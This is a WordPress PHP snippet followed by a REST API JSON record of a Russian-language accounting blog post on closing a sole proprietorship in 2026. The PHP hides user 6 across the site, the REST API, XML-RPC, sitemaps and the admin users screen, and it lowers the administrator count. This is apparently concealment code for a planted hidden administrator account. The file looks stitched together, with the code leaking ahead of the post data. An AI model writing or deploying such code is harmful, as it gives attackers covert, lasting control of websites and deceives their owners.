add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 6;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 6 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 6;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 6;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 6;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-6{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
{"id":4465,"date":"2026-05-16T10:56:43","date_gmt":"2026-05-16T07:56:43","guid":{"rendered":"https:\/\/assets-buh.com.ua\/?p=4465"},"modified":"2026-05-16T10:56:50","modified_gmt":"2026-05-16T07:56:50","slug":"yak-zakriti-fop-u-2026-rotsi","status":"publish","type":"post","link":"http:\/\/assets-buh.com.ua\/ru\/yak-zakriti-fop-u-2026-rotsi\/","title":{"rendered":"\u041a\u0430\u043a \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0424\u041b\u041f \u0432 2026 \u0433\u043e\u0434\u0443"},"content":{"rendered":"<ol>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u0420\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u0433\u0435\u043d\u0442\u044b:<\/b><span style=\"font-weight: 400;\"> \u0443\u0432\u043e\u043b\u044c\u043d\u0438\u0442\u0435 \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b (\u0441 \u0432\u044b\u043f\u043b\u0430\u0442\u043e\u0439 \u0432\u0441\u0435\u0445 \u043a\u043e\u043c\u043f\u0435\u043d\u0441\u0430\u0446\u0438\u0439 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043e\u0442\u0447\u0435\u0442\u043d\u043e\u0441\u0442\u0438) \u0438 \u0437\u0430\u0432\u0435\u0440\u0448\u0438\u0442\u0435 \u0440\u0430\u0441\u0447\u0435\u0442\u044b \u0441 \u043f\u0430\u0440\u0442\u043d\u0435\u0440\u0430\u043c\u0438.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u041f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043a\u0430:<\/b><span style=\"font-weight: 400;\"> \u0430\u043d\u043d\u0443\u043b\u0438\u0440\u0443\u0439\u0442\u0435 \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438, \u0441\u043d\u0438\u043c\u0438\u0442\u0435 \u0441 \u0443\u0447\u0435\u0442\u0430 \u0420\u0420\u041e\/\u041f\u0420\u0420\u041e \u0438 \u043f\u043e\u0434\u0430\u0439\u0442\u0435 <\/span><b>\u0444\u043e\u0440\u043c\u0443 \u211620-\u041e\u041f\u041f<\/b><span style=\"font-weight: 400;\"> \u043e \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u0438 \u043e\u0431\u044a\u0435\u043a\u0442\u043e\u0432 \u043d\u0430\u043b\u043e\u0433\u043e\u043e\u0431\u043b\u043e\u0436\u0435\u043d\u0438\u044f.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u0413\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0446\u0438\u044f:<\/b><span style=\"font-weight: 400;\"> \u043f\u043e\u0434\u0430\u0439\u0442\u0435 \u0437\u0430\u044f\u0432\u043b\u0435\u043d\u0438\u0435 \u043e \u043f\u0440\u0435\u043a\u0440\u0430\u0449\u0435\u043d\u0438\u0438 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 <\/span><b>\u043f\u043e\u0440\u0442\u0430\u043b \u00ab\u0414\u0435\u0439\u0441\u0442\u0432\u0438\u0435\u00bb<\/b><span style=\"font-weight: 400;\"> (\u0441\u0430\u043c\u044b\u0439 \u0431\u044b\u0441\u0442\u0440\u044b\u0439 \u0441\u043f\u043e\u0441\u043e\u0431) \u0438\u043b\u0438 \u043b\u0438\u0447\u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u0426\u041d\u0410\u041f \u0438\u043b\u0438 \u043d\u043e\u0442\u0430\u0440\u0438\u0443\u0441. \u0417\u0430\u043f\u0438\u0441\u044c \u0432 \u0440\u0435\u0435\u0441\u0442\u0440\u0435 (\u0415\u0413\u0420) \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 24 \u0447\u0430\u0441\u043e\u0432.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u0411\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0435 \u0441\u0447\u0435\u0442\u0430:<\/b><span style=\"font-weight: 400;\"> \u0441\u043d\u0438\u043c\u0438\u0442\u0435 \u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0441\u0440\u0435\u0434\u0441\u0442\u0432, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0435 <\/span><b>\u0431\u0430\u043d\u043a\u043e\u0432\u0441\u043a\u0438\u0435 \u0432\u044b\u043f\u0438\u0441\u043a\u0438 \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 3\u20135 \u043b\u0435\u0442<\/b><span style=\"font-weight: 400;\"> \u0438 \u0437\u0430\u043a\u0440\u043e\u0439\u0442\u0435 \u0441\u0447\u0435\u0442\u0430.<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u041d\u0430\u043b\u043e\u0433\u0438 \u0438 \u043e\u0442\u0447\u0435\u0442\u043d\u043e\u0441\u0442\u044c:<\/b>\n<ul>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">\u041e\u043f\u043b\u0430\u0442\u0438\u0442\u0435 <\/span><b>\u0415\u0421\u0412, \u0435\u0434\u0438\u043d\u044b\u0439 \u043d\u0430\u043b\u043e\u0433 \u0438 \u0432\u043e\u0435\u043d\u043d\u044b\u0439 \u0441\u0431\u043e\u0440<\/b><span style=\"font-weight: 400;\"> \u0437\u0430 \u043f\u043e\u043b\u043d\u043e\u043b\u0443\u043d\u0438\u0435, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0431\u044b\u043b\u043e \u0437\u0430\u043a\u0440\u044b\u0442\u043e \u0424\u041b\u041f (\u0434\u043b\u044f 1\u20132 \u0433\u0440\u0443\u043f\u043f) \u0438\u043b\u0438 \u0437\u0430 \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0434\u043e\u0445\u043e\u0434 (\u0434\u043b\u044f 3 \u0433\u0440\u0443\u043f\u043f\u044b).<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"2\"><span style=\"font-weight: 400;\">\u041f\u043e\u0434\u0430\u0439\u0442\u0435 <\/span><b>\u043b\u0438\u043a\u0432\u0438\u0434\u0430\u0446\u0438\u043e\u043d\u043d\u0443\u044e \u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u044e<\/b><span style=\"font-weight: 400;\"> \u0441 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435\u043c \u043f\u043e \u0415\u0421\u0412 \u0432 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0437\u0430\u043a\u043e\u043d\u043e\u043c \u0441\u0440\u043e\u043a\u0438 (\u043e\u0442 40 \u0434\u043e 60 \u0434\u043d\u0435\u0439 \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0433\u0440\u0443\u043f\u043f\u044b).<\/span><\/li>\n<\/ul>\n<\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0437\u0430\u0434\u043e\u043b\u0436\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439:<\/b><span style=\"font-weight: 400;\"> \u0432 \u042d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u043c \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0435 \u043f\u043b\u0430\u0442\u0435\u043b\u044c\u0449\u0438\u043a\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044c\u0442\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0440\u0430\u0441\u0447\u0435\u0442\u043e\u0432 \u0441 \u0431\u044e\u0434\u0436\u0435\u0442\u043e\u043c \u043d\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0434\u043e\u043b\u0433\u043e\u0432 \u043f\u043e \u043d\u0430\u043b\u043e\u0433\u0430\u043c \u0438 \u0415\u0421\u0412<\/span><\/li>\n<li style=\"font-weight: 400;\" aria-level=\"1\"><b>\u0425\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u043e\u0432:<\/b><span style=\"font-weight: 400;\"> \u0441\u043e\u0445\u0440\u0430\u043d\u044f\u0439\u0442\u0435 \u0432\u0441\u0435 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u044b, \u0430\u043a\u0442\u044b \u0438 \u0432\u044b\u043f\u0438\u0441\u043a\u0438 \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 <\/span><b>3\u20135 \u043b\u0435\u0442<\/b><span style=\"font-weight: 400;\">, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043d\u0430\u043b\u043e\u0433\u043e\u0432\u0430\u044f \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u0430\u0432\u043e \u043f\u0440\u043e\u0432\u0435\u0441\u0442\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0434\u0430\u0436\u0435 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043a\u0440\u044b\u0442\u0438\u044f.<\/span><\/li>\n<\/ol>\n<div class=\"content--post\">\n<div class=\"content--post\">\n<div class=\"content--post\">\n<p class=\"p1\"><em>\u0415\u0441\u043b\u0438 \u0412\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u043f\u043b\u0430\u0442\u043d\u0430\u044f \u043a\u043e\u043d\u0441\u0443\u043b\u044c\u0442\u0430\u0446\u0438\u044f \u0438\u043b\u0438 \u0432\u044b \u0438\u0449\u0435\u0442\u0435 \u0431\u0443\u0445\u0433\u0430\u043b\u0442\u0435\u0440\u0430 \u0434\u043b\u044f \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0424\u041b\u041f \u0438\u043b\u0438 \u041e\u041e\u041e, \u043e\u0431\u0440\u0430\u0449\u0430\u0439\u0442\u0435\u0441\u044c \u0437\u0430\u00a0<span class=\"s1\"><a href=\"https:\/\/t.me\/manager_assets1\">\u0441\u0441\u044b\u043b\u043a\u043e\u0439<\/a>.<\/span><\/em><\/p>\n<\/div>\n<div class=\"tags--box\"><\/div>\n<\/div>\n<div class=\"tags--box\"><\/div>\n<\/div>\n<div class=\"tags--box\"><\/div>","protected":false},"excerpt":{"rendered":"<p>\u041f\u0440\u0430\u0446\u0456\u0432\u043d\u0438\u043a\u0438 \u0442\u0430 \u043a\u043e\u043d\u0442\u0440\u0430\u0433\u0435\u043d\u0442\u0438: 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